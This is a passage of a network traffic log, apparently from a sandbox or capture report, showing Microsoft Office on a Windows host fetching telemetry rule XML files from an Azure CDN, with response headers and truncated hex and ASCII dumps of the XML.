2024-11-20 12:28:50 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:28:50 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB866CDB" x-ms-request-id: bfe6e8fa-201e-006e-3f8c-3abbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T122850Z-185f5d8b95c95vpshC1NYC759c0000000a3g00000000ktzt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 12:28:50 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.8	49935	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:28:50 UTC	192	OUT	GET /rules/rule702301v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 12:28:50 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:28:50 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE976026E" x-ms-request-id: 85bacdce-f01e-003f-758c-3ad19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T122850Z-r1d97b99577kk29chC1TEBemmg00000008zg000000002u1g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 12:28:50 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702301" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPr

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.8	49936	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:28:51 UTC	192	OUT	GET /rules/rule702300v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 12:28:51 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:28:51 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDC13EFEF" x-ms-request-id: 270c2d5d-601e-00ab-2f8c-3a66f4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T122851Z-r1d97b99577l6wbzhC1TEB3fwn00000008vg00000000en17 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 12:28:51 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6a 65 63 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702300" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProject" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.8	49937	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:28:51 UTC	192	OUT	GET /rules/rule703401v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 12:28:51 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:28:51 GMT Content-Type: text/xml Content-Length: 1425 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6BD89A1" x-ms-request-id: 5a5a1706-c01e-0079-6c8c-3ae51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T122851Z-1777c6cb754gc8g6hC1TEB966c00000009f000000000k96w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 12:28:51 UTC	1425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703401" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexus

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.8	49939	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:28:51 UTC	192	OUT	GET /rules/rule703400v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 12:28:51 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:28:51 GMT Content-Type: text/xml Content-Length: 1388 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDBD9126E" x-ms-request-id: 073925de-a01e-0032-2d8c-3a1949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T122851Z-r1d97b995777mdbwhC1TEBezag00000008y00000000004ud x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 12:28:51 UTC	1388	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 53 3d 22 4d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703400" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammableSurfaces" S="M

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.8	49940	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:28:51 UTC	192	OUT	GET /rules/rule702501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 12:28:51 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:28:51 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:57 GMT ETag: "0x8DC582BE7C66E85" x-ms-request-id: d5dea27c-d01e-00ad-3c8c-3ae942000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T122851Z-185f5d8b95c5lcmhhC1NYCsnsw0000000a5g00000000nmsh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 12:28:51 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.8	49941	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:28:51 UTC	192	OUT	GET /rules/rule702500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 12:28:51 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:28:51 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB813B3F" x-ms-request-id: 0c3517a5-201e-0003-7a8c-3af85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T122851Z-r1d97b99577hsvhhhC1TEByb1w0000000350000000007a04 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 12:28:51 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammability" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.8	49942	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:28:51 UTC	192	OUT	GET /rules/rule700501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 12:28:52 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:28:51 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:58 GMT ETag: "0x8DC582BE89A8F82" x-ms-request-id: 1afac609-801e-00a3-2b8c-3a7cfb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T122851Z-1777c6cb754xlpjshC1TEBv8cc00000009n000000000mne4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 12:28:52 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.8	49943	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:28:51 UTC	192	OUT	GET /rules/rule700500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 12:28:52 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:28:52 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE51CE7B3" x-ms-request-id: bfe6eb71-201e-006e-168c-3abbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T122852Z-185f5d8b95c4vwv8hC1NYCy4v40000000ad0000000005t48 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 12:28:52 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 6f 77 65 72 50 6f 69 6e 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPowerPoint" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.8	49945	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:28:52 UTC	192	OUT	GET /rules/rule702550v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 12:28:52 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:28:52 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE584C214" x-ms-request-id: 625de90e-101e-005a-15ec-3a882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T122852Z-r1d97b99577sdxndhC1TEBec5n00000008xg00000000c6qt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 12:28:52 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702550" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPersonalization" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.8	49944	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:28:52 UTC	192	OUT	GET /rules/rule702551v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 12:28:52 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:28:52 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCE9703A" x-ms-request-id: a16a2ddb-901e-0064-058c-3ae8a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T122852Z-185f5d8b95csd4bwhC1NYCq7dc0000000a1g00000000k9qx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 12:28:52 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702551" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.8	49946	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:28:52 UTC	192	OUT	GET /rules/rule701351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 12:28:52 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:28:52 GMT Content-Type: text/xml Content-Length: 1407 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE687B46A" x-ms-request-id: 4e85307b-101e-007a-398c-3a047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T122852Z-185f5d8b95c95vpshC1NYC759c0000000a6000000000dpbm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 12:28:52 UTC	1407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701351" V="1" DC="SM" 